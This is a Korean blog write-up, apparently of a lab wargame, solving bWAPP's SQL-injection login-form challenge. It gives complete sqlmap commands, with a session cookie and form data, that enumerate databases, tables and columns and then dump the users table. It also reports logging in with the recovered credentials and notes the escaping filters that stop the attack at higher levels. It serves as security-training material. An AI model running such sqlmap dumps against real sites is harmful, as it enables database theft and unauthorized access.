Wargame/bWAPP

bWAPP A1 SQL Injection (Login Form/User)

0xe82de_ 2020. 10. 28. 23:22
728x90
728x90
728x90
 

itsecgames.com

 

www.itsecgames.com

[사진 1]

 

이전 문제와 동일하게 로그인 폼에 인젝션을 하는 문제이다.

 

[사진 2]

하지만, 이전 문제와 다르게 single quote를 입력해도 서버에서 실행되는 sql 구문이 출력되지는 않는다. kali에 설치된 sqlmap으로 db 정보를 탈취해보자.

 

low

[사진 3]

sqlmap
-u "http://192.168.91.135/bWAPP/sqli_16.php" // 타겟 설정
--cookie="security_level=0; PHPSESSID=25a1f56a7713fc13440c8ff8f052bce5" // 난이도, 쿠키 값 전송
--data "login=seok&password=seok*form=submit" // 파라미터 설정
--dbs // DB 스키마 정보 확인

먼저 DB 스키마에 대한 정보를 알아보자.

 

[사진 4]

[사진 3]의 명령을 실행하면 위와 같이 타겟 DB의 스키마를 확인할 수 있다.

 

[사진 5]

sqlmap
-u "http://192.168.91.135/bWAPP/sqli_16.php" // 타겟 설정--cookie="security_level=0;
PHPSESSID=25a1f56a7713fc13440c8ff8f052bce5" // 난이도, 쿠키 값 전송--data "login=seok&password=seok*form=submit" // 파라미터 설정
--tables // 테이블 정보 확인

[사진 6]

[사진 5]의 명령을 실행하여 테이블 이름을 확인할 수 있다.

 

[사진 7]

sqlmap
-u "http://192.168.91.135/bWAPP/sqli_16.php" // 타겟 설정--cookie="security_level=0;
PHPSESSID=25a1f56a7713fc13440c8ff8f052bce5" // 난이도, 쿠키 값 전송--data "login=seok&password=seok*form=submit" // 파라미터 설정
--columns // 컬럼 정보 확인

[사진 8]

 

[사진 9]

sqlmap
-u "http://192.168.91.135/bWAPP/sqli_16.php" // 타겟 설정--cookie="security_level=0;
PHPSESSID=25a1f56a7713fc13440c8ff8f052bce5" // 난이도, 쿠키 값 전송--data "login=seok&password=seok*form=submit" // 파라미터 설정
-T users // 테이블 지정
-C login,password,secret // 컬럼 지정
--dump // 결과 저장

[사진 10]

[사진 9]의 명령을 실행하면 지정한 테이블의 컬럼의 데이터를 출력한다. 복호화되는 경우 원본 값을 출력되기도 한다.

 

* sqlmap 옵션은 별도로 공부가 필요해 보인다.

 

[사진 11]

[사진 10]에서 확인된 계정 정보(login: "a.i.m.", password: "bug")를 입력하면 위와 같이 인증에 성공한다.

 

medium

 

[사진 12]
[사진 13]

medium 레벨이다. [사진 3]의 명령문에서 security_level 값을 1로 수정하고 취약한 파라미터인 "login"을 지정하고 실행하면 된다. 하지만, [사진 13]과 같이 "login" 파라미터 인젝션할 수 없을 것 같다고 한다.

 

[사진 14]
[사진 15]

medium 레벨의 경우 addslashes() 함수로 파라미터를 필터링하는데, 이전 문제들과 마찬가지로 single quote 앞에 backslash가 붙어 SQL Injection 공격이 어렵겠다. (우회 방법은 구글링 하면 나오긴 함.)

 

high

[사진 16]
[사진 17]

high 레벨이다. security_level 값을 2로 수정하고 실행하면 medium 레벨과 마찬가지로 공격이 먹히지 않는다.

 

[사진 18]
[사진 19]

high 레벨의 경우 mysql_real_escape_string() 함수로 파라미터를 필터링 하며 medium 레벨과 마찬가지로 SQL Injection 공격이 어렵다.

728x90
728x90